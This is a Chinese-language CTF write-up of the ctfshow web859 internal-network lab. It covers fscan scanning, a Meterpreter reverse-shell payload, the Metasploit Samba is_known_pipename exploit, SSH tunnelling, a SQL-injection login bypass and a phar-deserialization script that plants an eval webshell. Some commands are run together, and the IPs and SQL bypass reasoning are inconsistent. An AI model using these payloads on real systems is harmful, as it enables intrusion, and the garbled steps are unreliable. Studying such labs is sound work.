内网渗透进阶——ctfshow靶场web859_有跳板机详细横向教程(只有内网主机,无跳板机如何出网,SCP传输文件,代码审计)

内网渗透进阶——ctfshow靶场web859_有跳板机详细横向教程(只有内网主机,无跳板机如何出网,SCP传输文件,代码审计)
今天给大家带来一篇ctfshow靶场的内网横向教程;设计知识点:

文章目录


靶场介绍

来自2023年2月的RealWorldCTF渗透赛环境

  • 需要本地ssh 链接题目给的地址和端口,作为攻击机(攻击机不出网)
  • 攻击机预置了某些工具,可以自己使用
  • 使用ssh登陆攻击机;
# ssh连接命令ssh [email protected] -p 环境生成的端口号 

账号密码:
用户名:ctfshow
密码:ctfshow


信息收集过程

首先登陆内网攻击机:

在这里插入图片描述

我们当前机器的权限是root 用户,并且知道当前的内网IP网段为:172.2.102.0/24

在这里插入图片描述
下一步思路:需要得知其他机器的网段和具体IP是多少;不然怎么渗透横向?所以我们可以上传工具Linum 或者fscan 等内网扫描工具;

这里我们使用scp命令进行传输:

# 格式scp-P 目标端口 文件名称 目标IP地址:/tmp # 上传到内网攻击机的 /tmp 目录scp-P28202 fscan [email protected]:/tmp chomd +x fscan ./fscan -h172.2.102.0/24 

结果如下:

在这里插入图片描述


在这里插入图片描述

成功上传,接下来执行该脚本:

在这里插入图片描述


发现内网存在一台机器,并且搭建了一个文件管理系统

尝试搭建socks代理(失败)

这里因为是在内网中,所以要想我们本地的Kali等能够访问,需要挂一个代理(详细步骤不再演示,可以看下列文章):

更多相关文章在我的博客里,搜素“内网横向”标签即可看到;除此之外还会发布各种“应急响应”“CTF比赛“”渗透测试“等文章,帮助大家更好的学校网络 / 信息安全知识;关注我

所以这里我用MSF生成一个反弹shell后,在内网攻击机里执行:

msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.44.129 LPORT=5555-f elf > MSF.elf # 建立监听 use exploit/multi/handler set payload linux/x64/meterpreter/reverse_tcp set lhost 192.168.44.129 set lport 5555 run 

生成payload:

在这里插入图片描述


上传到内网机器:

在这里插入图片描述


建立监听,看是否能返回会话:

在这里插入图片描述
结果并没有返回,失败了;原因:该内网机器的网络 / 路由 / DNS 配置问题

渗透第一台主机(利用服务漏洞)

我们之前还通过fscan发现其开放的端口以及服务:

在这里插入图片描述
  • 139端口:samba服务
  • 445端口:smb服务

这里我们可以用MSF框架的相关payload尝试一下是否存在漏洞:

# 搜素 search smb search samba # 漏洞类型 永恒之蓝 (MS17-010): search ms17_010 Samba 远程代码执行: search is_known_pipename 拒绝服务攻击: search type:dos platform:windows smb 

经过尝试,发现第二台主机存在Samba 远程代码执行漏洞:

msfconsole -q use exploit/linux/samba/is_known_pipename # 内网目标机器地址:172.2.102.6 / 172.2.102.5set rhost 172.2.102.6 exploit 

过程:

在这里插入图片描述


在这里插入图片描述

这里我们就获取了第一台内网主机的最高权限;


内网SSH本地端口转发(新方法)

socks隧道搭建不了怎么办?因为没有跳板机连通外网,所以用不了frp等工具;使用SSH 本地端口转发需要一台公网VPS

方法一:搭建单层代理(失败)

# 命令格式:ssh-CfNg-L<本地端口>:<目标主机IP>:<目标主机端口><跳板机用户名>@<跳板机IP>-p<跳板机端口>ssh-CfNg-L80:172.2.102.6:80 [email protected] -p28202
原理说明

这条命令的作用是:

  • 把你本地机器的 80 端口,通过跳板机 pwn.challenge.ctf.show:28202,转发到目标主机 172.2.42.6:80
  • 这样你在本地浏览器访问 http://127.0.0.1:80,就等价于访问跳板机后面的目标服务。

结果如下:但是失败了!!!

在这里插入图片描述

报错的核心原因是:

  • 执行这条 SSH 命令的内网机器(172.2.102.4)无法将域名 pwn.challenge.ctf.show 解析为对应的 IP 地址
  • 内网机器 “不出网”:意味着内网机器未配置有效的 DNS 服务器(所以无法正常解析域名,造成报错)

方法二:搭建二层代理(成功)

打内网的时候经常出现的事就是我们获得了一台内网里服务器的权限,然后要通过这台服务器打其他机器,拓扑结构:

VPS->linux机器(可控)->与linux机器在同一个内网内的其他机器 

要实现从 本地 PC 访问这些内网资源,你需要通过 VPS 建立一个二级隧道。以下是完整的操作步骤:


第一步:在 VPS 上建立第一级隧道

此步骤将 CTF 内网机器 的端口映射到 VPS 的本地端口。
在你的 公网VPS(需开启999端口) 上执行:

# 映射内网 172.2.102.5 的 80 端口(Web 系统)到 VPS 的 9999 端口ssh-CfNg-L9999:172.2.215.5:80 [email protected] -p28202
第二步:在本地 PC 上建立第二级隧道

此步骤将 VPS 上的 9999 端口映射到你 本地 PC 的 8086 端口。

在你的 本地 PC 终端执行:

# 映射 VPS 的 9999 端口到本地的 8086 端口ssh-CfNg-L8086:127.0.0.1:9999 root@VPS公网地址 -p22
第三步:验证与访问

现在,链路已经打通:
本地 PC:8086 <—> VPS:9999 <—> CTF 跳板机 <—> 内网 172.2.102.5:80

访问 Web 界面: 在本地浏览器输入 http://127.0.0.1:8086,你应该能看到“欢迎登陆CTFshow文件管理系统”

在这里插入图片描述

方法三:使用profixier(成功)

打开profixier,配置

在这里插入图片描述


在这里插入图片描述

随后直接访问 http://172.2.102.5/ 也可成功访问内网:

在这里插入图片描述

方法四:使用插件Proxy SwitchyOmega 3(成功)

直接在 VPS 上建立一个 动态 Socks5 代理:
(1)VPS 执行: ssh -CfNg -D 0.0.0.0:1080 [email protected] -p 28202

(2)本地使用: 使用浏览器插件(如 Proxy SwitchyOmega)连接 VPS地址:1080 (Socks5 协议)

(3)结果: 你可以直接在浏览器访问 http://172.2.102.5,无需配置任何本地映射。

在这里插入图片描述


随便使用一种你喜欢的方法就行;


渗透第二台主机(代码审计)

这里我的靶场掉了,所以换了个新的地址:172.2.215.4

我们查看该网页,在底部发现了其CMS系统名称

在这里插入图片描述

点击该文字,跳转到了其开源代码(可以进行代码审计

代码被好像违规了,被官方删了。。。只能用网上的WP了

代码审计:SQL注入

在api/index.php发现可能存在的sql注入

<?php /* # -*- coding: utf-8 -*-# @Author: h1xa# @Date: 2023-02-22 09:15:26# @Last Modified by: h1xa# @Last Modified time: 2023-02-22 11:07:47# @email: [email protected]# @link: https://ctfer.com */ error_reporting(0); session_start(); class action{ private $username; private $password; private $email; public functiondoAction(){$action=$_GET['a'] ?? "login"; switch ($action){case'login':$this->doLogin();break;case'reset':$this->doReset();break;case'view':$this->doView();break; default: $this->doDefault();break;}}functiondoLogin(){ include 'config.php';$username=$this->doFilter($_POST['username']);$password=$this->doFilter($_POST['password']);$conn= new mysqli($dbhost,$dbuser,$dbpwd,$dbname); if(mysqli_connect_errno()){ die(json_encode(array(mysqli_connect_error())));}$conn->query("set name $charName");$sql="select password from user where username = '$username' and password = '$password' limit 0,1;";$result=$conn->query($sql);$row=$result->fetch_array(MYSQLI_ASSOC); if($row['password']===$password){$_SESSION['LOGIN']=true;}else{$_SESSION['LOGIN']=false;$_SESSION['msg']='登陆失败';}$conn->close();$_SESSION['LOGIN']?$this->dispatcher("../ckfinder/ckfinder.html"):$this->dispatcher("../index.php");}functiondoReset(){ include 'config.php';$email= filter_input(INPUT_POST, 'email',FILTER_VALIDATE_EMAIL);$username=$this->doFilter($_POST['username']);$conn= new mysqli($dbhost,$dbuser,$dbpwd,$dbname); if(mysqli_connect_errno()){ die(json_encode(array(mysqli_connect_error())));}$conn->query("set name $charName");$sql="select email from user where email = '$email' and username = '$username'";$result=$conn->query($sql);$row=$result->fetch_array(MYSQLI_ASSOC); if($row['email']){$_SESSION['RESET']=true;$this->email =$row['email'];$_SESSION['msg']="你好! 已经将重置密码链接发送至邮箱".$this->email;}else{$_SESSION['RESET']=false;$_SESSION['msg']="邮箱不存在";}$conn->close();$this->dispatcher("../index.php");}functiondoDefault(){ header("location: ../index.php");}function doFilter($str){$str= str_replace("'", "%27", $str);$str= str_replace("\"", "%22", $str);$str= str_replace("\\", "%5c", $str);return$str;}function dispatcher($url){ header("location:$url");} public function__wakeup(){$this->clear();}function sendResetMail($mail){$content="你好,下面是你的重置密码链接,请复制到浏览器地址栏打开.";$content.="http://xxx.com/?token=xxxx&email=$mail"; //功能暂未实现,先保留邮件,以后发送 file_put_contents("../mail_cache/cache.php","<?php exit('$content');?>");}functioncheckSession(){ if($_SESSION['LOGIN']!==true){ die("请先登陆");returnfalse;}else{returntrue;}}functiondoView(){$this->checkSession();$file=str_replace("..","",$_POST['file']); if(file_exists($file)){ header("Content-type: image/jpeg");echo file_get_contents("../ckfinder/userfiles/".$file);}}functionclear(){ if($_SESSION['LOGIN']&& isset($this->email)){$this->sendResetMail($this->email);}}} //hack here;$action= new action();$action->doAction();

代码分析:

由于 doFilter 只简单替换了单引号,且 SQL 语句为 select password from user where username = '$username' ...,我们可以构造一个万能密码。

  • Payload 构造:
    • username:admin
    • password:' or '1'='1
# 实际执行的 SQL:select password fromuserwhere username ='admin'and password ='%27 or %271%27=%271'limit0,1;

注意:如果数据库端没有对 %27 进行 URL 解码处理,此方法可能失效。但在该题目中,如果 charName 存在宽字节环境(如 gbk),可使用 %df%27 进行绕过。

详细审计过程可以看大佬的文章,我这里就不赘述了:ctfshow web859_有跳板机 WP想要了解SQL注入的基本原理可以看我的专栏:sqli-labs全过关解析含详细payload

最后得到账号密码:ctfshow / ctfshase????

登录访问:

在这里插入图片描述

页面如下:

在这里插入图片描述

经过尝试,无法上传.php文件:

在这里插入图片描述

代码审计:反序列化漏洞 (PHP Deserialization)

然后再审计ckfinder的部分:

  • 魔术方法: 代码定义了 __wakeup() 方法,该方法会在对象被反序列化时自动触发。
  • 触发路径: __wakeup() 调用了 clear(),而 clear() 又调用了 sendResetMail($this->email)
  • 漏洞细节: sendResetMail 函数使用了 file_put_contents,且写入的文件名和内容部分可控。
  • 利用方式: 如果攻击者能控制反序列化过程中的 $this->email 属性,就可以利用 PHP 死亡绕过(Death Bypass) 技术。例如,构造 email 为 ?><?php phpinfo();?>,通过闭合前面的 exit() 来实现 RCE(远程代码执行)。
    • 注意:代码末尾虽然没有显式的 unserialize(),但在 CTF 环境中,通常结合 session 反序列化或其他入口点触发。
第一步:先将以下内容写到一个exp.php里:
<?phpclassaction{private$email="'.eval(\$_POST[1]));//";}$a=newaction();$phar=newPhar("exp2.phar");$phar->startBuffering();$phar->setStub(file_get_contents('exp.png')."<?php __HALT_COMPILER(); ?>");$phar->addFromString('exp.txt','exp');$phar->setMetadata($a);$phar->stopBuffering();

原理:

  • 这个地方的类是action,如果触发了反序列化的话会把<?php exit('$content');?>写入到/var/www/html/mail_cache/cache.php中;
  • 然后$content = “你好,下面是你的重置密码链接,请复制到浏览器地址栏打开 http://xxx.com/?token=xxxx&email=$mail”;可以反序列化$mail,
  • 插进去会变成这样:
file_put_contents("../mail_cache/cache.php","<?php exit('你好,下面是你的重置密码链接,请复制到浏览器地址栏打开 http://xxx.com/?token=xxxx&email='.eval(\$_POST[1]))//');?>");
第二步:然后打开php.ini,设置phar.readonly=Off

确保你本地安装了 PHP,如果安装了phpstudy,(以我为例)找到D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.ini

  • 确保该行没有前面的分号 ;(分号表示注释)。
  • 修改为:phar.readonly = Off。
在这里插入图片描述
第三步:然后使用python脚本生成一个较小的图片(较大的图片上传不上去)
from PIL import Image # 创建一个新的白色图片(RGB格式) image = Image.new("RGB", (10, 10), "white")# 保存图片 image.save("exp.png")
第四步:执行php exp.php生成一个exp.phar

临时运行脚本(无需配置环境变量):

# 基础写法(如果exp.php在当前目录,直接用这个)&"D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.exe" exp.php # 如果exp.php在指定路径(比如桌面),替换成实际路径&"D:\phpstudy_pro\Extensions\php\php7.3.4nts\php.exe""C:\Users\Leco\Desktop\exp.php"

结果如下:

在这里插入图片描述


成功生成:

在这里插入图片描述
第五步:将exp2.phar后缀改为exp2.png

将exp2.phar后缀改为exp2.png,到上传图片的地方,上传这个文件

在这里插入图片描述
第六步:蚁剑连接

登陆后,之后使用hackbar

  • GET传参:http://xxx/api/index.php?a=view
  • POST传参:file=phar:///var/www/html/ckfinder/userfiles/images/exp2.png
在这里插入图片描述


在这里插入图片描述

然后访问 http://127.0.0.1:8086/mail_cache/cache.php(不知道为什么失败了,但不影响)

在这里插入图片描述

然后蚁剑可以直接连接

在这里插入图片描述


在这里插入图片描述

总结

  • 方法一:在MSF横向到目标主机时,即可得到flag;
  • 方法二:通过搭建代理,然后代码审计,蚁剑登陆也能得到flag;
在这里插入图片描述

技术总结:

  • SSH跳板机连接与提权,获取交互式Shell
  • SCP协议实现本地到跳板机的工具传输
  • fscan内网网段扫描,发现存活资产与开放端口
  • MSF框架利用Samba服务is_known_pipename漏洞getshell
  • SSH本地端口映射搭建隧道,实现本地访问内网Web服务
  • PHP代码审计,挖掘反序列化、代码注入潜在漏洞
  • Phar协议构造恶意文件,结合图片后缀绕过文件上传限制
  • 修改php.ini配置(phar.readonly=Off)生成恶意Phar文件
  • phar://协议触发反序列化,写入一句话木马
  • 蚁剑连接一句话木马,获取Web服务权限
  • SQL注入fuzz测试,分析邮箱格式验证的过滤规则
果然CTF靶场还是比Vulnhub的靶场难度大一点;而且主要是方法不唯一;期待下次再见;
Could not load content